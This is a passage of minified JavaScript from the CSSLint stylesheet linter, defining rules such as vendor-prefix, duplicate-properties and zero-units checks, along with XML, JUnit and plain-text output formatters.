moz\",\"animation-iteration-count\":\"webkit moz\",\"animation-name\":\"webkit moz\",\"animation-play-state\":\"webkit moz\",\"animation-timing-function\":\"webkit moz\",appearance:\"webkit moz\",\"border-end\":\"webkit moz\",\"border-end-color\":\"webkit moz\",\"border-end-style\":\"webkit moz\",\"border-end-width\":\"webkit moz\",\"border-image\":\"webkit moz o\",\"border-radius\":\"webkit\",\"border-start\":\"webkit moz\",\"border-start-color\":\"webkit moz\",\"border-start-style\":\"webkit moz\",\"border-start-width\":\"webkit moz\",\"box-align\":\"webkit moz ms\",\"box-direction\":\"webkit moz ms\",\"box-flex\":\"webkit moz ms\",\"box-lines\":\"webkit ms\",\"box-ordinal-group\":\"webkit moz ms\",\"box-orient\":\"webkit moz ms\",\"box-pack\":\"webkit moz ms\",\"box-sizing\":\"webkit moz\",\"box-shadow\":\"webkit moz\",\"column-count\":\"webkit moz ms\",\"column-gap\":\"webkit moz ms\",\"column-rule\":\"webkit moz ms\",\"column-rule-color\":\"webkit moz ms\",\"column-rule-style\":\"webkit moz ms\",\"column-rule-width\":\"webkit moz ms\",\"column-width\":\"webkit moz ms\",hyphens:\"epub moz\",\"line-break\":\"webkit ms\",\"margin-end\":\"webkit moz\",\"margin-start\":\"webkit moz\",\"marquee-speed\":\"webkit wap\",\"marquee-style\":\"webkit wap\",\"padding-end\":\"webkit moz\",\"padding-start\":\"webkit moz\",\"tab-size\":\"moz o\",\"text-size-adjust\":\"webkit ms\",transform:\"webkit moz ms o\",\"transform-origin\":\"webkit moz ms o\",transition:\"webkit moz o\",\"transition-delay\":\"webkit moz o\",\"transition-duration\":\"webkit moz o\",\"transition-property\":\"webkit moz o\",\"transition-timing-function\":\"webkit moz o\",\"user-modify\":\"webkit moz\",\"user-select\":\"webkit moz ms\",\"word-break\":\"epub ms\",\"writing-mode\":\"epub ms\"};for(s in r)if(r.hasOwnProperty(s)){o=[],u=r[s].split(\" \");for(a=0,f=u.length;a<f;a++)o.push(\"-\"+u[a]+\"-\"+s);r[s]=o,c.apply(h,o)}e.addListener(\"startrule\",function(){i=[]}),e.addListener(\"startkeyframes\",function(e){l=e.prefix||!0}),e.addListener(\"endkeyframes\",function(){l=!1}),e.addListener(\"property\",function(e){var t=e.property;CSSLint.Util.indexOf(h,t.text)>-1&&(!l||typeof l!=\"string\"||t.text.indexOf(\"-\"+l+\"-\")!==0)&&i.push(t)}),e.addListener(\"endrule\",function(){if(!i.length)return;var e={},s,o,u,a,f,l,c,h,p,d;for(s=0,o=i.length;s<o;s++){u=i[s];for(a in r)r.hasOwnProperty(a)&&(f=r[a],CSSLint.Util.indexOf(f,u.text)>-1&&(e[a]||(e[a]={full:f.slice(0),actual:[],actualNodes:[]}),CSSLint.Util.indexOf(e[a].actual,u.text)===-1&&(e[a].actual.push(u.text),e[a].actualNodes.push(u))))}for(a in e)if(e.hasOwnProperty(a)){l=e[a],c=l.full,h=l.actual;if(c.length>h.length)for(s=0,o=c.length;s<o;s++)p=c[s],CSSLint.Util.indexOf(h,p)===-1&&(d=h.length===1?h[0]:h.length===2?h.join(\" and \"):h.join(\", \"),t.report(\"The property \"+p+\" is compatible with \"+d+\" and should be included as well.\",l.actualNodes[0].line,l.actualNodes[0].col,n))}})}}),CSSLint.addRule({id:\"display-property-grouping\",name:\"Require properties appropriate for display\",desc:\"Certain properties shouldn't be used with certain display property values.\",browsers:\"All\",init:function(e,t){function s(e,s,o){i[e]&&(typeof r[e]!=\"string\"||i[e].value.toLowerCase()!==r[e])&&t.report(o||e+\" can't be used with display: \"+s+\".\",i[e].line,i[e].col,n)}function o(){i={}}function u(){var e=i.display?i.display.value:null;if(e)switch(e){case\"inline\":s(\"height\",e),s(\"width\",e),s(\"margin\",e),s(\"margin-top\",e),s(\"margin-bottom\",e),s(\"float\",e,\"display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).\");break;case\"block\":s(\"vertical-align\",e);break;case\"inline-block\":s(\"float\",e);break;default:e.indexOf(\"table-\")===0&&(s(\"margin\",e),s(\"margin-left\",e),s(\"margin-right\",e),s(\"margin-top\",e),s(\"margin-bottom\",e),s(\"float\",e))}}var n=this,r={display:1,\"float\":\"none\",height:1,width:1,margin:1,\"margin-left\":1,\"margin-right\":1,\"margin-bottom\":1,\"margin-top\":1,padding:1,\"padding-left\":1,\"padding-right\":1,\"padding-bottom\":1,\"padding-top\":1,\"vertical-align\":1},i;e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startpage\",o),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();r[t]&&(i[t]={value:e.value.text,line:e.property.line,col:e.property.col})}),e.addListener(\"endrule\",u),e.addListener(\"endfontface\",u),e.addListener(\"endkeyframerule\",u),e.addListener(\"endpagemargin\",u),e.addListener(\"endpage\",u)}}),CSSLint.addRule({id:\"duplicate-background-images\",name:\"Disallow duplicate background images\",desc:\"Every background-image should be unique. Use a common class for e.g. sprites.\",browsers:\"All\",init:function(e,t){var n=this,r={};e.addListener(\"property\",function(e){var i=e.property.text,s=e.value,o,u;if(i.match(/background/i))for(o=0,u=s.parts.length;o<u;o++)s.parts[o].type===\"uri\"&&(typeof r[s.parts[o].uri]==\"undefined\"?r[s.parts[o].uri]=e:t.report(\"Background image '\"+s.parts[o].uri+\"' was used multiple times, first declared at line \"+r[s.parts[o].uri].line+\", col \"+r[s.parts[o].uri].col+\".\",e.line,e.col,n))})}}),CSSLint.addRule({id:\"duplicate-properties\",name:\"Disallow duplicate properties\",desc:\"Duplicate properties must appear one after the other.\",browsers:\"All\",init:function(e,t){function s(){r={}}var n=this,r,i;e.addListener(\"startrule\",s),e.addListener(\"startfontface\",s),e.addListener(\"startpage\",s),e.addListener(\"startpagemargin\",s),e.addListener(\"startkeyframerule\",s),e.addListener(\"property\",function(e){var s=e.property,o=s.text.toLowerCase();r[o]&&(i!==o||r[o]===e.value.text)&&t.report(\"Duplicate property '\"+e.property+\"' found.\",e.line,e.col,n),r[o]=e.value.text,i=o})}}),CSSLint.addRule({id:\"empty-rules\",name:\"Disallow empty rules\",desc:\"Rules without any properties specified should be removed.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(){r=0}),e.addListener(\"property\",function(){r++}),e.addListener(\"endrule\",function(e){var i=e.selectors;r===0&&t.report(\"Rule is empty.\",i[0].line,i[0].col,n)})}}),CSSLint.addRule({id:\"errors\",name:\"Parsing Errors\",desc:\"This rule looks for recoverable syntax errors.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"error\",function(e){t.error(e.message,e.line,e.col,n)})}}),CSSLint.addRule({id:\"fallback-colors\",name:\"Require fallback colors\",desc:\"For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.\",browsers:\"IE6,IE7,IE8\",init:function(e,t){function o(){s={},r=null}var n=this,r,i={color:1,background:1,\"border-color\":1,\"border-top-color\":1,\"border-right-color\":1,\"border-bottom-color\":1,\"border-left-color\":1,border:1,\"border-top\":1,\"border-right\":1,\"border-bottom\":1,\"border-left\":1,\"background-color\":1},s;e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startpage\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"property\",function(e){var s=e.property,o=s.text.toLowerCase(),u=e.value.parts,a=0,f=\"\",l=u.length;if(i[o])while(a<l)u[a].type===\"color\"&&(\"alpha\"in u[a]||\"hue\"in u[a]?(/([^\\)]+)\\(/.test(u[a])&&(f=RegExp.$1.toUpperCase()),(!r||r.property.text.toLowerCase()!==o||r.colorType!==\"compat\")&&t.report(\"Fallback \"+o+\" (hex or RGB) should precede \"+f+\" \"+o+\".\",e.line,e.col,n)):e.colorType=\"compat\"),a++;r=e})}}),CSSLint.addRule({id:\"floats\",name:\"Disallow too many floats\",desc:\"This rule tests if the float property is used too many times\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.property.text.toLowerCase()===\"float\"&&e.value.text.toLowerCase()!==\"none\"&&r++}),e.addListener(\"endstylesheet\",function(){t.stat(\"floats\",r),r>=10&&t.rollupWarn(\"Too many floats (\"+r+\"), you're probably using them for layout. Consider using a grid system instead.\",n)})}}),CSSLint.addRule({id:\"font-faces\",name:\"Don't use too many web fonts\",desc:\"Too many different web fonts in the same stylesheet.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"startfontface\",function(){r++}),e.addListener(\"endstylesheet\",function(){r>5&&t.rollupWarn(\"Too many @font-face declarations (\"+r+\").\",n)})}}),CSSLint.addRule({id:\"font-sizes\",name:\"Disallow too many font sizes\",desc:\"Checks the number of font-size declarations.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.property.toString()===\"font-size\"&&r++}),e.addListener(\"endstylesheet\",function(){t.stat(\"font-sizes\",r),r>=10&&t.rollupWarn(\"Too many font-size declarations (\"+r+\"), abstraction needed.\",n)})}}),CSSLint.addRule({id:\"gradients\",name:\"Require all gradient definitions\",desc:\"When using a vendor-prefixed gradient, make sure to use them all.\",browsers:\"All\",init:function(e,t){var n=this,r;e.addListener(\"startrule\",function(){r={moz:0,webkit:0,oldWebkit:0,o:0}}),e.addListener(\"property\",function(e){/\\-(moz|o|webkit)(?:\\-(?:linear|radial))\\-gradient/i.test(e.value)?r[RegExp.$1]=1:/\\-webkit\\-gradient/i.test(e.value)&&(r.oldWebkit=1)}),e.addListener(\"endrule\",function(e){var i=[];r.moz||i.push(\"Firefox 3.6+\"),r.webkit||i.push(\"Webkit (Safari 5+, Chrome)\"),r.oldWebkit||i.push(\"Old Webkit (Safari 4+, Chrome)\"),r.o||i.push(\"Opera 11.1+\"),i.length&&i.length<4&&t.report(\"Missing vendor-prefixed CSS gradients for \"+i.join(\", \")+\".\",e.selectors[0].line,e.selectors[0].col,n)})}}),CSSLint.addRule({id:\"ids\",name:\"Disallow IDs in selectors\",desc:\"Selectors should not contain IDs.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l,c;for(f=0;f<i.length;f++){s=i[f],a=0;for(l=0;l<s.parts.length;l++){o=s.parts[l];if(o.type===e.SELECTOR_PART_TYPE)for(c=0;c<o.modifiers.length;c++)u=o.modifiers[c],u.type===\"id\"&&a++}a===1?t.report(\"Don't use IDs in selectors.\",s.line,s.col,n):a>1&&t.report(a+\" IDs in the selector, really?\",s.line,s.col,n)}})}}),CSSLint.addRule({id:\"import\",name:\"Disallow @import\",desc:\"Don't use @import, use <link> instead.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"import\",function(e){t.report(\"@import prevents parallel downloads, use <link> instead.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"important\",name:\"Disallow !important\",desc:\"Be careful when using !important declaration\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.important===!0&&(r++,t.report(\"Use of !important\",e.line,e.col,n))}),e.addListener(\"endstylesheet\",function(){t.stat(\"important\",r),r>=10&&t.rollupWarn(\"Too many !important declarations (\"+r+\"), try to use less than 10 to avoid specificity issues.\",n)})}}),CSSLint.addRule({id:\"known-properties\",name:\"Require use of known properties\",desc:\"Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){e.invalid&&t.report(e.invalid.message,e.line,e.col,n)})}}),CSSLint.addRule({id:\"order-alphabetical\",name:\"Alphabetical order\",desc:\"Assure properties are in alphabetical order\",browsers:\"All\",init:function(e,t){var n=this,r,i=function(){r=[]};e.addListener(\"startrule\",i),e.addListener(\"startfontface\",i),e.addListener(\"startpage\",i),e.addListener(\"startpagemargin\",i),e.addListener(\"startkeyframerule\",i),e.addListener(\"property\",function(e){var t=e.property.text,n=t.toLowerCase().replace(/^-.*?-/,\"\");r.push(n)}),e.addListener(\"endrule\",function(e){var i=r.join(\",\"),s=r.sort().join(\",\");i!==s&&t.report(\"Rule doesn't have all its properties in alphabetical ordered.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"outline-none\",name:\"Disallow outline: none\",desc:\"Use of outline: none or outline: 0 should be limited to :focus rules.\",browsers:\"All\",tags:[\"Accessibility\"],init:function(e,t){function i(e){e.selectors?r={line:e.line,col:e.col,selectors:e.selectors,propCount:0,outline:!1}:r=null}function s(){r&&r.outline&&(r.selectors.toString().toLowerCase().indexOf(\":focus\")===-1?t.report(\"Outlines should only be modified using :focus.\",r.line,r.col,n):r.propCount===1&&t.report(\"Outlines shouldn't be hidden unless other visual changes are made.\",r.line,r.col,n))}var n=this,r;e.addListener(\"startrule\",i),e.addListener(\"startfontface\",i),e.addListener(\"startpage\",i),e.addListener(\"startpagemargin\",i),e.addListener(\"startkeyframerule\",i),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase(),n=e.value;r&&(r.propCount++,t===\"outline\"&&(n.toString()===\"none\"||n.toString()===\"0\")&&(r.outline=!0))}),e.addListener(\"endrule\",s),e.addListener(\"endfontface\",s),e.addListener(\"endpage\",s),e.addListener(\"endpagemargin\",s),e.addListener(\"endkeyframerule\",s)}}),CSSLint.addRule({id:\"overqualified-elements\",name:\"Disallow overqualified elements\",desc:\"Don't use classes or IDs with elements (a.foo or a#foo).\",browsers:\"All\",init:function(e,t){var n=this,r={};e.addListener(\"startrule\",function(i){var s=i.selectors,o,u,a,f,l,c;for(f=0;f<s.length;f++){o=s[f];for(l=0;l<o.parts.length;l++){u=o.parts[l];if(u.type===e.SELECTOR_PART_TYPE)for(c=0;c<u.modifiers.length;c++)a=u.modifiers[c],u.elementName&&a.type===\"id\"?t.report(\"Element (\"+u+\") is overqualified, just use \"+a+\" without element name.\",u.line,u.col,n):a.type===\"class\"&&(r[a]||(r[a]=[]),r[a].push({modifier:a,part:u}))}}}),e.addListener(\"endstylesheet\",function(){var e;for(e in r)r.hasOwnProperty(e)&&r[e].length===1&&r[e][0].part.elementName&&t.report(\"Element (\"+r[e][0].part+\") is overqualified, just use \"+r[e][0].modifier+\" without element name.\",r[e][0].part.line,r[e][0].part.col,n)})}}),CSSLint.addRule({id:\"qualified-headings\",name:\"Disallow qualified headings\",desc:\"Headings should not be qualified (namespaced).\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a;for(u=0;u<i.length;u++){s=i[u];for(a=0;a<s.parts.length;a++)o=s.parts[a],o.type===e.SELECTOR_PART_TYPE&&o.elementName&&/h[1-6]/.test(o.elementName.toString())&&a>0&&t.report(\"Heading (\"+o.elementName+\") should not be qualified.\",o.line,o.col,n)}})}}),CSSLint.addRule({id:\"regex-selectors\",name:\"Disallow selectors that look like regexs\",desc:\"Selectors that look like regular expressions are slow and should be avoided.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l;for(a=0;a<i.length;a++){s=i[a];for(f=0;f<s.parts.length;f++){o=s.parts[f];if(o.type===e.SELECTOR_PART_TYPE)for(l=0;l<o.modifiers.length;l++)u=o.modifiers[l],u.type===\"attribute\"&&/([\\~\\|\\^\\$\\*]=)/.test(u)&&t.report(\"Attribute selectors with \"+RegExp.$1+\" are slow!\",u.line,u.col,n)}}})}}),CSSLint.addRule({id:\"rules-count\",name:\"Rules Count\",desc:\"Track how many rules there are.\",browsers:\"All\",init:function(e,t){var n=0;e.addListener(\"startrule\",function(){n++}),e.addListener(\"endstylesheet\",function(){t.stat(\"rule-count\",n)})}}),CSSLint.addRule({id:\"selector-max-approaching\",name:\"Warn when approaching the 4095 selector limit for IE\",desc:\"Will warn when selector count is >= 3800 selectors.\",browsers:\"IE\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(e){r+=e.selectors.length}),e.addListener(\"endstylesheet\",function(){r>=3800&&t.report(\"You have \"+r+\" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.\",0,0,n)})}}),CSSLint.addRule({id:\"selector-max\",name:\"Error when past the 4095 selector limit for IE\",desc:\"Will error when selector count is > 4095.\",browsers:\"IE\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(e){r+=e.selectors.length}),e.addListener(\"endstylesheet\",function(){r>4095&&t.report(\"You have \"+r+\" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.\",0,0,n)})}}),CSSLint.addRule({id:\"selector-newline\",name:\"Disallow new-line characters in selectors\",desc:\"New-line characters in selectors are usually a forgotten comma and not a descendant combinator.\",browsers:\"All\",init:function(e,t){function r(e){var r,i,s,o,u,a,f,l,c,h,p,d=e.selectors;for(r=0,i=d.length;r<i;r++){s=d[r];for(o=0,a=s.parts.length;o<a;o++)for(u=o+1;u<a;u++)f=s.parts[o],l=s.parts[u],c=f.type,h=f.line,p=l.line,c===\"descendant\"&&p>h&&t.report(\"newline character found in selector (forgot a comma?)\",h,d[r].parts[0].col,n)}}var n=this;e.addListener(\"startrule\",r)}}),CSSLint.addRule({id:\"shorthand\",name:\"Require shorthand properties\",desc:\"Use shorthand properties where possible.\",browsers:\"All\",init:function(e,t){function f(){u={}}function l(e){var r,i,s,o;for(r in a)if(a.hasOwnProperty(r)){o=0;for(i=0,s=a[r].length;i<s;i++)o+=u[a[r][i]]?1:0;o===a[r].length&&t.report(\"The properties \"+a[r].join(\", \")+\" can be replaced by \"+r+\".\",e.line,e.col,n)}}var n=this,r,i,s,o={},u,a={margin:[\"margin-top\",\"margin-bottom\",\"margin-left\",\"margin-right\"],padding:[\"padding-top\",\"padding-bottom\",\"padding-left\",\"padding-right\"]};for(r in a)if(a.hasOwnProperty(r))for(i=0,s=a[r].length;i<s;i++)o[a[r][i]]=r;e.addListener(\"startrule\",f),e.addListener(\"startfontface\",f),e.addListener(\"property\",function(e){var t=e.property.toString().toLowerCase();o[t]&&(u[t]=1)}),e.addListener(\"endrule\",l),e.addListener(\"endfontface\",l)}}),CSSLint.addRule({id:\"star-property-hack\",name:\"Disallow properties with a star prefix\",desc:\"Checks for the star property hack (targets IE6/7)\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property;r.hack===\"*\"&&t.report(\"Property with star prefix found.\",e.property.line,e.property.col,n)})}}),CSSLint.addRule({id:\"text-indent\",name:\"Disallow negative text-indent\",desc:\"Checks for text indent less than -99px\",browsers:\"All\",init:function(e,t){function s(){r=!1,i=\"inherit\"}function o(){r&&i!==\"ltr\"&&t.report(\"Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.\",r.line,r.col,n)}var n=this,r,i;e.addListener(\"startrule\",s),e.addListener(\"startfontface\",s),e.addListener(\"property\",function(e){var t=e.property.toString().toLowerCase(),n=e.value;t===\"text-indent\"&&n.parts[0].value<-99?r=e.property:t===\"direction\"&&n.toString()===\"ltr\"&&(i=\"ltr\")}),e.addListener(\"endrule\",o),e.addListener(\"endfontface\",o)}}),CSSLint.addRule({id:\"underscore-property-hack\",name:\"Disallow properties with an underscore prefix\",desc:\"Checks for the underscore property hack (targets IE6)\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property;r.hack===\"_\"&&t.report(\"Property with underscore prefix found.\",e.property.line,e.property.col,n)})}}),CSSLint.addRule({id:\"unique-headings\",name:\"Headings should only be defined once\",desc:\"Headings should be defined only once.\",browsers:\"All\",init:function(e,t){var n=this,r={h1:0,h2:0,h3:0,h4:0,h5:0,h6:0};e.addListener(\"startrule\",function(e){var i=e.selectors,s,o,u,a,f;for(a=0;a<i.length;a++){s=i[a],o=s.parts[s.parts.length-1];if(o.elementName&&/(h[1-6])/i.test(o.elementName.toString())){for(f=0;f<o.modifiers.length;f++)if(o.modifiers[f].type===\"pseudo\"){u=!0;break}u||(r[RegExp.$1]++,r[RegExp.$1]>1&&t.report(\"Heading (\"+o.elementName+\") has already been defined.\",o.line,o.col,n))}}}),e.addListener(\"endstylesheet\",function(){var e,i=[];for(e in r)r.hasOwnProperty(e)&&r[e]>1&&i.push(r[e]+\" \"+e+\"s\");i.length&&t.rollupWarn(\"You have \"+i.join(\", \")+\" defined in this stylesheet.\",n)})}}),CSSLint.addRule({id:\"universal-selector\",name:\"Disallow universal selector\",desc:\"The universal selector (*) is known to be slow.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(e){var r=e.selectors,i,s,o;for(o=0;o<r.length;o++)i=r[o],s=i.parts[i.parts.length-1],s.elementName===\"*\"&&t.report(n.desc,s.line,s.col,n)})}}),CSSLint.addRule({id:\"unqualified-attributes\",name:\"Disallow unqualified attribute selectors\",desc:\"Unqualified attribute selectors are known to be slow.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f;for(a=0;a<i.length;a++){s=i[a],o=s.parts[s.parts.length-1];if(o.type===e.SELECTOR_PART_TYPE)for(f=0;f<o.modifiers.length;f++)u=o.modifiers[f],u.type===\"attribute\"&&(!o.elementName||o.elementName===\"*\")&&t.report(n.desc,o.line,o.col,n)}})}}),CSSLint.addRule({id:\"vendor-prefix\",name:\"Require standard property with vendor prefix\",desc:\"When using a vendor-prefixed property, make sure to include the standard one.\",browsers:\"All\",init:function(e,t){function o(){r={},i=1}function u(){var e,i,o,u,a,f=[];for(e in r)s[e]&&f.push({actual:e,needed:s[e]});for(i=0,o=f.length;i<o;i++)u=f[i].needed,a=f[i].actual,r[u]?r[u][0].pos<r[a][0].pos&&t.report(\"Standard property '\"+u+\"' should come after vendor-prefixed property '\"+a+\"'.\",r[a][0].name.line,r[a][0].name.col,n):t.report(\"Missing standard property '\"+u+\"' to go along with '\"+a+\"'.\",r[a][0].name.line,r[a][0].name.col,n)}var n=this,r,i,s={\"-webkit-border-radius\":\"border-radius\",\"-webkit-border-top-left-radius\":\"border-top-left-radius\",\"-webkit-border-top-right-radius\":\"border-top-right-radius\",\"-webkit-border-bottom-left-radius\":\"border-bottom-left-radius\",\"-webkit-border-bottom-right-radius\":\"border-bottom-right-radius\",\"-o-border-radius\":\"border-radius\",\"-o-border-top-left-radius\":\"border-top-left-radius\",\"-o-border-top-right-radius\":\"border-top-right-radius\",\"-o-border-bottom-left-radius\":\"border-bottom-left-radius\",\"-o-border-bottom-right-radius\":\"border-bottom-right-radius\",\"-moz-border-radius\":\"border-radius\",\"-moz-border-radius-topleft\":\"border-top-left-radius\",\"-moz-border-radius-topright\":\"border-top-right-radius\",\"-moz-border-radius-bottomleft\":\"border-bottom-left-radius\",\"-moz-border-radius-bottomright\":\"border-bottom-right-radius\",\"-moz-column-count\":\"column-count\",\"-webkit-column-count\":\"column-count\",\"-moz-column-gap\":\"column-gap\",\"-webkit-column-gap\":\"column-gap\",\"-moz-column-rule\":\"column-rule\",\"-webkit-column-rule\":\"column-rule\",\"-moz-column-rule-style\":\"column-rule-style\",\"-webkit-column-rule-style\":\"column-rule-style\",\"-moz-column-rule-color\":\"column-rule-color\",\"-webkit-column-rule-color\":\"column-rule-color\",\"-moz-column-rule-width\":\"column-rule-width\",\"-webkit-column-rule-width\":\"column-rule-width\",\"-moz-column-width\":\"column-width\",\"-webkit-column-width\":\"column-width\",\"-webkit-column-span\":\"column-span\",\"-webkit-columns\":\"columns\",\"-moz-box-shadow\":\"box-shadow\",\"-webkit-box-shadow\":\"box-shadow\",\"-moz-transform\":\"transform\",\"-webkit-transform\":\"transform\",\"-o-transform\":\"transform\",\"-ms-transform\":\"transform\",\"-moz-transform-origin\":\"transform-origin\",\"-webkit-transform-origin\":\"transform-origin\",\"-o-transform-origin\":\"transform-origin\",\"-ms-transform-origin\":\"transform-origin\",\"-moz-box-sizing\":\"box-sizing\",\"-webkit-box-sizing\":\"box-sizing\"};e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startpage\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();r[t]||(r[t]=[]),r[t].push({name:e.property,value:e.value,pos:i++})}),e.addListener(\"endrule\",u),e.addListener(\"endfontface\",u),e.addListener(\"endpage\",u),e.addListener(\"endpagemargin\",u),e.addListener(\"endkeyframerule\",u)}}),CSSLint.addRule({id:\"zero-units\",name:\"Disallow units for 0 values\",desc:\"You don't need to specify units when a value is 0.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.value.parts,i=0,s=r.length;while(i<s)(r[i].units||r[i].type===\"percentage\")&&r[i].value===0&&r[i].type!==\"time\"&&t.report(\"Values of 0 shouldn't have units specified.\",r[i].line,r[i].col,n),i++})}}),function(){var e=function(e){return!e||e.constructor!==String?\"\":e.replace(/[\\\"&><]/g,function(e){switch(e){case'\"':return\"&quot;\";case\"&\":return\"&amp;\";case\"<\":return\"&lt;\";case\">\":return\"&gt;\"}})};CSSLint.addFormatter({id:\"checkstyle-xml\",name:\"Checkstyle XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><checkstyle>'},endFormat:function(){return\"</checkstyle>\"},readError:function(t,n){return'<file name=\"'+e(t)+'\"><error line=\"0\" column=\"0\" severty=\"error\" message=\"'+e(n)+'\"></error></file>'},formatResults:function(t,n){var r=t.messages,i=[],s=function(e){return!!e&&\"name\"in e?\"net.csslint.\"+e.name.replace(/\\s/g,\"\"):\"\"};return r.length>0&&(i.push('<file name=\"'+n+'\">'),CSSLint.Util.forEach(r,function(t){t.rollup||i.push('<error line=\"'+t.line+'\" column=\"'+t.col+'\" severity=\"'+t.type+'\"'+' message=\"'+e(t.message)+'\" source=\"'+s(t.rule)+'\"/>')}),i.push(\"</file>\")),i.join(\"\")}})}(),CSSLint.addFormatter({id:\"compact\",name:\"Compact, 'porcelain' format\",startFormat:function(){return\"\"},endFormat:function(){return\"\"},formatResults:function(e,t,n){var r=e.messages,i=\"\";n=n||{};var s=function(e){return e.charAt(0).toUpperCase()+e.slice(1)};return r.length===0?n.quiet?\"\":t+\": Lint Free!\":(CSSLint.Util.forEach(r,function(e){e.rollup?i+=t+\": \"+s(e.type)+\" - \"+e.message+\"\\n\":i+=t+\": \"+\"line \"+e.line+\", col \"+e.col+\", \"+s(e.type)+\" - \"+e.message+\" (\"+e.rule.id+\")\\n\"}),i)}}),CSSLint.addFormatter({id:\"csslint-xml\",name:\"CSSLint XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><csslint>'},endFormat:function(){return\"</csslint>\"},formatResults:function(e,t){var n=e.messages,r=[],i=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(r.push('<file name=\"'+t+'\">'),CSSLint.Util.forEach(n,function(e){e.rollup?r.push('<issue severity=\"'+e.type+'\" reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>'):r.push('<issue line=\"'+e.line+'\" char=\"'+e.col+'\" severity=\"'+e.type+'\"'+' reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>')}),r.push(\"</file>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"junit-xml\",name:\"JUNIT XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><testsuites>'},endFormat:function(){return\"</testsuites>\"},formatResults:function(e,t){var n=e.messages,r=[],i={error:0,failure:0},s=function(e){return!!e&&\"name\"in e?\"net.csslint.\"+e.name.replace(/\\s/g,\"\"):\"\"},o=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(n.forEach(function(e){var t=e.type===\"warning\"?\"error\":e.type;e.rollup||(r.push('<testcase time=\"0\" name=\"'+s(e.rule)+'\">'),r.push(\"<\"+t+' message=\"'+o(e.message)+'\"><![CDATA['+e.line+\":\"+e.col+\":\"+o(e.evidence)+\"]]></\"+t+\">\"),r.push(\"</testcase>\"),i[t]+=1)}),r.unshift('<testsuite time=\"0\" tests=\"'+n.length+'\" skipped=\"0\" errors=\"'+i.error+'\" failures=\"'+i.failure+'\" package=\"net.csslint\" name=\"'+t+'\">'),r.push(\"</testsuite>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"lint-xml\",name:\"Lint XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><lint>'},endFormat:function(){return\"</lint>\"},formatResults:function(e,t){var n=e.messages,r=[],i=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(r.push('<file name=\"'+t+'\">'),CSSLint.Util.forEach(n,function(e){e.rollup?r.push('<issue severity=\"'+e.type+'\" reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>'):r.push('<issue line=\"'+e.line+'\" char=\"'+e.col+'\" severity=\"'+e.type+'\"'+' reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>')}),r.push(\"</file>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"text\",name:\"Plain Text\",startFormat:function(){return\"\"},endFormat:function(){return\"\"},formatResults:function(e,t,n){var r=e.messages,i=\"\";n=n||{};if(r.length===0)return n.quiet?\"\":\"\\n\\ncsslint: No errors in \"+t+\".\";i=\"\\n\\ncsslint: There \",r.length===1?i+=\"is 1 problem\":i+=\"are \"+r.length+\" problems\",i+=\" in \"+t+\".\";var 